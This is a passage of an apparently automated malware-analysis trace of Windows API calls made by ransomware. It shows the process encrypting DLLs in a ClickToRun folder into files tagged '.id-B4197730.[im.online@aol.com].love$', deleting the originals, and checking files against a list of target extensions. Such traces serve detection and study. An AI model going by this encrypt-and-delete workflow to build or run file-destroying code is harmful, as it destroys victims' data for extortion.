lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x52d0, lpOverlapped=0x0) returned 1 [0283.971] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.971] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x122, lpOverlapped=0x0) returned 1 [0283.971] SetEndOfFile (hFile=0x354) returned 1 [0284.335] CloseHandle (hObject=0x354) returned 1 [0284.335] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.335] SetEndOfFile (hFile=0x350) returned 1 [0284.364] CloseHandle (hObject=0x350) returned 1 [0284.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0284.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.368] lstrlenW (lpString=".doc") returned 4 [0284.368] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.368] lstrlenW (lpString=".docx") returned 5 [0284.368] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.368] lstrlenW (lpString=".pdf") returned 4 [0284.368] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.368] lstrlenW (lpString=".xls") returned 4 [0284.369] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.369] lstrlenW (lpString=".xlsx") returned 5 [0284.369] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.369] lstrlenW (lpString=".ppt") returned 4 [0284.369] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.369] lstrlenW (lpString=".zip") returned 4 [0284.369] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.369] lstrlenW (lpString=".rar") returned 4 [0284.369] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.369] lstrlenW (lpString=".bz2") returned 4 [0284.369] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.369] lstrlenW (lpString=".7z") returned 3 [0284.369] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.369] lstrlenW (lpString=".dbf") returned 4 [0284.369] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.369] lstrlenW (lpString=".1cd") returned 4 [0284.369] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.370] lstrlenW (lpString=".jpg") returned 4 [0284.370] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.370] lstrlenW (lpString=".doc") returned 4 [0284.370] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.370] lstrlenW (lpString=".docx") returned 5 [0284.370] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.370] lstrlenW (lpString=".pdf") returned 4 [0284.370] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.370] lstrlenW (lpString=".xls") returned 4 [0284.370] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.370] lstrlenW (lpString=".xlsx") returned 5 [0284.370] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.370] lstrlenW (lpString=".ppt") returned 4 [0284.370] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.370] lstrlenW (lpString=".zip") returned 4 [0284.370] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.371] lstrlenW (lpString=".rar") returned 4 [0284.371] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.371] lstrlenW (lpString=".bz2") returned 4 [0284.371] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.371] lstrlenW (lpString=".7z") returned 3 [0284.371] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.371] lstrlenW (lpString=".dbf") returned 4 [0284.371] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.371] lstrlenW (lpString=".1cd") returned 4 [0284.371] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0284.371] lstrlenW (lpString=".jpg") returned 4 [0284.371] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.371] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.372] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0284.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.373] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=20672) returned 1 [0284.373] CloseHandle (hObject=0x350) returned 1 [0284.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0284.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.373] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.373] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.374] GetLastError () returned 0x0 [0284.375] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x50c0, lpOverlapped=0x0) returned 1 [0284.378] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x50d0, lpOverlapped=0x0) returned 1 [0284.380] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.380] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x11c, lpOverlapped=0x0) returned 1 [0284.380] SetEndOfFile (hFile=0x354) returned 1 [0284.380] CloseHandle (hObject=0x354) returned 1 [0284.380] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.380] SetEndOfFile (hFile=0x350) returned 1 [0284.382] CloseHandle (hObject=0x350) returned 1 [0284.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.382] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0284.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.382] lstrlenW (lpString=".doc") returned 4 [0284.382] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.383] lstrlenW (lpString=".docx") returned 5 [0284.383] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.383] lstrlenW (lpString=".pdf") returned 4 [0284.383] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.383] lstrlenW (lpString=".xls") returned 4 [0284.383] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.383] lstrlenW (lpString=".xlsx") returned 5 [0284.383] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.383] lstrlenW (lpString=".ppt") returned 4 [0284.383] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.383] lstrlenW (lpString=".zip") returned 4 [0284.383] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.383] lstrlenW (lpString=".rar") returned 4 [0284.383] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.383] lstrlenW (lpString=".bz2") returned 4 [0284.383] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.383] lstrlenW (lpString=".7z") returned 3 [0284.383] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.383] lstrlenW (lpString=".dbf") returned 4 [0284.383] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.383] lstrlenW (lpString=".1cd") returned 4 [0284.383] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.383] lstrlenW (lpString=".jpg") returned 4 [0284.383] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.384] lstrlenW (lpString=".doc") returned 4 [0284.384] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString=".docx") returned 5 [0284.384] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.384] lstrlenW (lpString=".pdf") returned 4 [0284.384] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString=".xls") returned 4 [0284.384] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString=".xlsx") returned 5 [0284.384] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.384] lstrlenW (lpString=".ppt") returned 4 [0284.384] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.384] lstrlenW (lpString=".zip") returned 4 [0284.384] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString=".rar") returned 4 [0284.384] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.384] lstrlenW (lpString=".bz2") returned 4 [0284.384] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.384] lstrlenW (lpString=".7z") returned 3 [0284.384] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.384] lstrlenW (lpString=".dbf") returned 4 [0284.384] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.385] lstrlenW (lpString=".1cd") returned 4 [0284.385] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0284.385] lstrlenW (lpString=".jpg") returned 4 [0284.385] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.385] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.385] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0284.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.386] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=19648) returned 1 [0284.386] CloseHandle (hObject=0x350) returned 1 [0284.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0284.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.387] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.387] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0284.388] GetLastError () returned 0x0 [0284.388] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0284.391] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0284.393] ReadFile (in: hFile=0x350, lpBuffer=0x3b16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesRead=0x30ffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.393] WriteFile (in: hFile=0x354, lpBuffer=0x3b16020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x30ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b16020*, lpNumberOfBytesWritten=0x30ffc94*=0x110, lpOverlapped=0x0) returned 1 [0284.393] SetEndOfFile (hFile=0x354) returned 1 [0284.394] CloseHandle (hObject=0x354) returned 1 [0284.394] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.394] SetEndOfFile (hFile=0x350) returned 1 [0284.395] CloseHandle (hObject=0x350) returned 1 [0284.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.395] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0284.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.396] lstrlenW (lpString=".doc") returned 4 [0284.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.396] lstrlenW (lpString=".docx") returned 5 [0284.396] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.396] lstrlenW (lpString=".pdf") returned 4 [0284.396] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.396] lstrlenW (lpString=".xls") returned 4 [0284.396] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.396] lstrlenW (lpString=".xlsx") returned 5 [0284.396] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.396] lstrlenW (lpString=".ppt") returned 4 [0284.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.396] lstrlenW (lpString=".zip") returned 4 [0284.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.396] lstrlenW (lpString=".rar") returned 4 [0284.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.396] lstrlenW (lpString=".bz2") returned 4 [0284.397] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.397] lstrlenW (lpString=".7z") returned 3 [0284.397] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.397] lstrlenW (lpString=".dbf") returned 4 [0284.397] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.397] lstrlenW (lpString=".1cd") returned 4 [0284.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.397] lstrlenW (lpString=".jpg") returned 4 [0284.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.397] lstrlenW (lpString=".doc") returned 4 [0284.397] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.397] lstrlenW (lpString=".docx") returned 5 [0284.397] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.397] lstrlenW (lpString=".pdf") returned 4 [0284.397] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.397] lstrlenW (lpString=".xls") returned 4 [0284.397] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.397] lstrlenW (lpString=".xlsx") returned 5 [0284.397] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.397] lstrlenW (lpString=".ppt") returned 4 [0284.397] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.398] lstrlenW (lpString=".zip") returned 4 [0284.398] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.398] lstrlenW (lpString=".rar") returned 4 [0284.398] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.398] lstrlenW (lpString=".bz2") returned 4 [0284.398] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.398] lstrlenW (lpString=".7z") returned 3 [0284.398] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.398] lstrlenW (lpString=".dbf") returned 4 [0284.398] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.398] lstrlenW (lpString=".1cd") returned 4 [0284.398] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0284.398] lstrlenW (lpString=".jpg") returned 4 [0284.398] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.398] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.398] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0284.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.399] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=19136) returned 1 [0284.400] CloseHandle (hObject=0x350) returned 1 [0284.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0284.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.400] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.400] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft 